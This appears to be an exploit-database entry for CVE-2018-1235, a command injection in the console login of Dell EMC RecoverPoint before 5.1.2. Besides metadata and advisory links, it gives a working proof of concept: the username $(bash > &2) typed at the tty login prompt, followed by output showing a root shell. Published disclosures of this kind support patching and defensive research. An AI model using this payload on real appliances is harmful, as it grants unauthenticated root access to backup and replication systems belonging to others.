Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution

Author: Paul Taylor
type: local
platform: linux
port: 
date_added: 2018-06-21  
date_updated: 2018-06-21  
verified: 0  
codes: CVE-2018-1235  
tags: Command Injection  
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raw file: 44920.txt  

# Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution
# Date: 2018-06-21
# Exploit Author: Paul Taylor
# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3
# Vendor Advisory: DSA-2018-095
# Vendor KB: https://support.emc.com/kb/521234
# Github: https://github.com/bao7uo/dell-emc_recoverpoint
# Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities
# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2
# CVE: CVE-2018-1235

# 1. Description
# An OS command injection vulnerability exists in the mechanism which processes usernames
# which are presented for authentication, allowing unauthenticated root access
# via tty console login.

# 2. Proof of Concept
# Inject into local tty console login prompt

recoverpoint login: $(bash > &2)
root@recoverpoint:/# id
uid=0(root) gid=0(root) groups=0(root)
root@recoverpoint:/#